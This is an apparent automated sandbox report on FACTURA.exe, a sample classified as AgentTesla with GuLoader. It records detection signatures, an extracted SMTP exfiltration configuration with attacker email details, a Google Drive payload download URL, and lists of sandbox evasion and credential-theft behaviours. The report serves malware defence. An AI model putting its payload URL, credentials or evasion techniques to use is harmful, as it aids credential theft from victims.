Windows Analysis Report FACTURA.exe

Overview

General Information

Sample Name: FACTURA.exe
Analysis ID: 1380
MD5: dbe61cfd43c95752f6dfbde236558782
SHA1: 71b7f9ea7778a67ffc75fa0f7d8a74dc243aae22
SHA256: 7194eca2c497f9ea9c3bb989fb7f328d9740b6d396af39ec66ec730c0db61044
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Sigma detected: RegAsm connects to smtp port
Yara detected GuLoader
Hides threads from debuggers
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: RegAsm.exe.392.5.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "murbano@reyesyasociados.com495QTi314mail.reyesyasociados.comnappiboioffice203@gmail.com"}
Multi AV Scanner detection for submitted file
Source: FACTURA.exe Virustotal: Detection: 24% Perma Link
Source: FACTURA.exe ReversingLabs: Detection: 26%

Compliance:

barindex
Uses 32bit PE files
Source: FACTURA.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.185.206:443 -> 192.168.11.20:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49793 version: TLS 1.2

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: IOMART-ASGB IOMART-ASGB
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 109.169.39.245 109.169.39.245
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/1bb12mp9hm55ekloh95nskj64c1gjp2b/1632812250000/00519186742208262786/*/1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-50-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49795 -> 109.169.39.245:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49795 -> 109.169.39.245:587
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: RegAsm.exe, 00000005.00000002.21803487459.000000001DF6C000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: http://DXdVhu.com
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000005.00000002.21809297485.0000000020060000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: RegAsm.exe, 00000005.00000003.18145548653.00000000010EE000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000005.00000002.21809297485.0000000020060000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: RegAsm.exe, 00000005.00000002.21809297485.0000000020060000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: RegAsm.exe, 00000005.00000003.18145548653.00000000010EE000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000005.00000002.21804041737.000000001DFD2000.00000004.00000001.sdmp String found in binary or memory: http://mail.reyesyasociados.com
Source: RegAsm.exe, 00000005.00000002.21809297485.0000000020060000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: RegAsm.exe, 00000005.00000002.21804333470.000000001DFFD000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000002.21804041737.000000001DFD2000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000002.21803487459.000000001DF6C000.00000004.00000001.sdmp String found in binary or memory: https://7IjlG5MRJ8GuV06p17GS.com
Source: RegAsm.exe, 00000005.00000003.17225649108.00000000010F1000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000005.00000003.18145277985.00000000010BF000.00000004.00000001.sdmp String found in binary or memory: https://doc-08-50-docs.googleusercontent.com/
Source: RegAsm.exe, 00000005.00000003.18145548653.00000000010EE000.00000004.00000001.sdmp String found in binary or memory: https://doc-08-50-docs.googleusercontent.com/%%doc-08-50-docs.googleusercontent.com
Source: RegAsm.exe, 00000005.00000003.17225649108.00000000010F1000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000003.17229535337.00000000010F8000.00000004.00000001.sdmp String found in binary or memory: https://doc-08-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/1bb12mp9
Source: RegAsm.exe, 00000005.00000002.21792632666.0000000001078000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000005.00000002.21792632666.0000000001078000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK
Source: RegAsm.exe, 00000005.00000002.21791838141.0000000000BF0000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1_9grCzaMvwiyOZmqGYlclu_imIL5MBHKwininet.dllMozilla/5
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000002.21802999084.000000001DF12000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 00000005.00000002.21809297485.0000000020060000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: RegAsm.exe, 00000005.00000002.21802999084.000000001DF12000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/1bb12mp9hm55ekloh95nskj64c1gjp2b/1632812250000/00519186742208262786/*/1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-50-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.185.206:443 -> 192.168.11.20:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49793 version: TLS 1.2

System Summary:

barindex
Uses 32bit PE files
Source: FACTURA.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_004088D4 1_2_004088D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E41130 5_2_00E41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E4BA70 5_2_00E4BA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E43A50 5_2_00E43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E44320 5_2_00E44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E4C7D0 5_2_00E4C7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E43708 5_2_00E43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00EA6988 5_2_00EA6988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00EA1420 5_2_00EA1420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F0C4FA 5_2_00F0C4FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_01289180 5_2_01289180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_0128D897 5_2_0128D897
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_01289BD0 5_2_01289BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012844F8 5_2_012844F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_01283330 5_2_01283330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C2978 5_2_012C2978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012CE318 5_2_012CE318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C114F 5_2_012C114F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C0040 5_2_012C0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_20164ACC 5_2_20164ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_20165E08 5_2_20165E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_20166AF1 5_2_20166AF1
Sample file is different than original file name gathered from version info
Source: FACTURA.exe, 00000001.00000002.17251391964.0000000000415000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameexposure.exe vs FACTURA.exe
Source: FACTURA.exe Binary or memory string: OriginalFilenameexposure.exe vs FACTURA.exe
PE file contains strange resources
Source: FACTURA.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\FACTURA.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edgegdi.dll Jump to behavior
Source: FACTURA.exe Virustotal: Detection: 24%
Source: FACTURA.exe ReversingLabs: Detection: 26%
Source: FACTURA.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\FACTURA.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\FACTURA.exe 'C:\Users\user\Desktop\FACTURA.exe'
Source: C:\Users\user\Desktop\FACTURA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FACTURA.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FACTURA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FACTURA.exe' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\FACTURA.exe File created: C:\Users\user\AppData\Local\Temp\~DFC94F68EA869C20C4.TMP Jump to behavior
Source: classification engine Classification label: mal100.spre.troj.spyw.evad.winEXE@4/1@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:376:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:376:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000001.00000002.17251666746.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_00404C45 push ds; retf 1_2_00404C50
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_00404CEF push es; retf 1_2_00404CF5
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_00402EAF push edi; ret 1_2_00402EB0
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_0040710A push ebp; iretd 1_2_0040710B
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_00407328 push edx; ret 1_2_0040732B
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_007B1061 push esp; iretd 1_2_007B1062
Source: C:\Users\user\Desktop\FACTURA.exe Code function: 1_2_007B289A push edx; retf 1_2_007B28A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C4908 push edi; iretd 5_2_012C4D86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C48B8 push edi; iretd 5_2_012C4906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_012C24E8 pushfd ; iretd 5_2_012C2531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_2016A19C push ebp; iretd 5_2_2016A1BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_2016A2CF push ebx; iretd 5_2_2016A2DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_2016C43F push esp; iretd 5_2_2016C44A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_2016C45B push ebx; iretd 5_2_2016C46A
Source: C:\Users\user\Desktop\FACTURA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
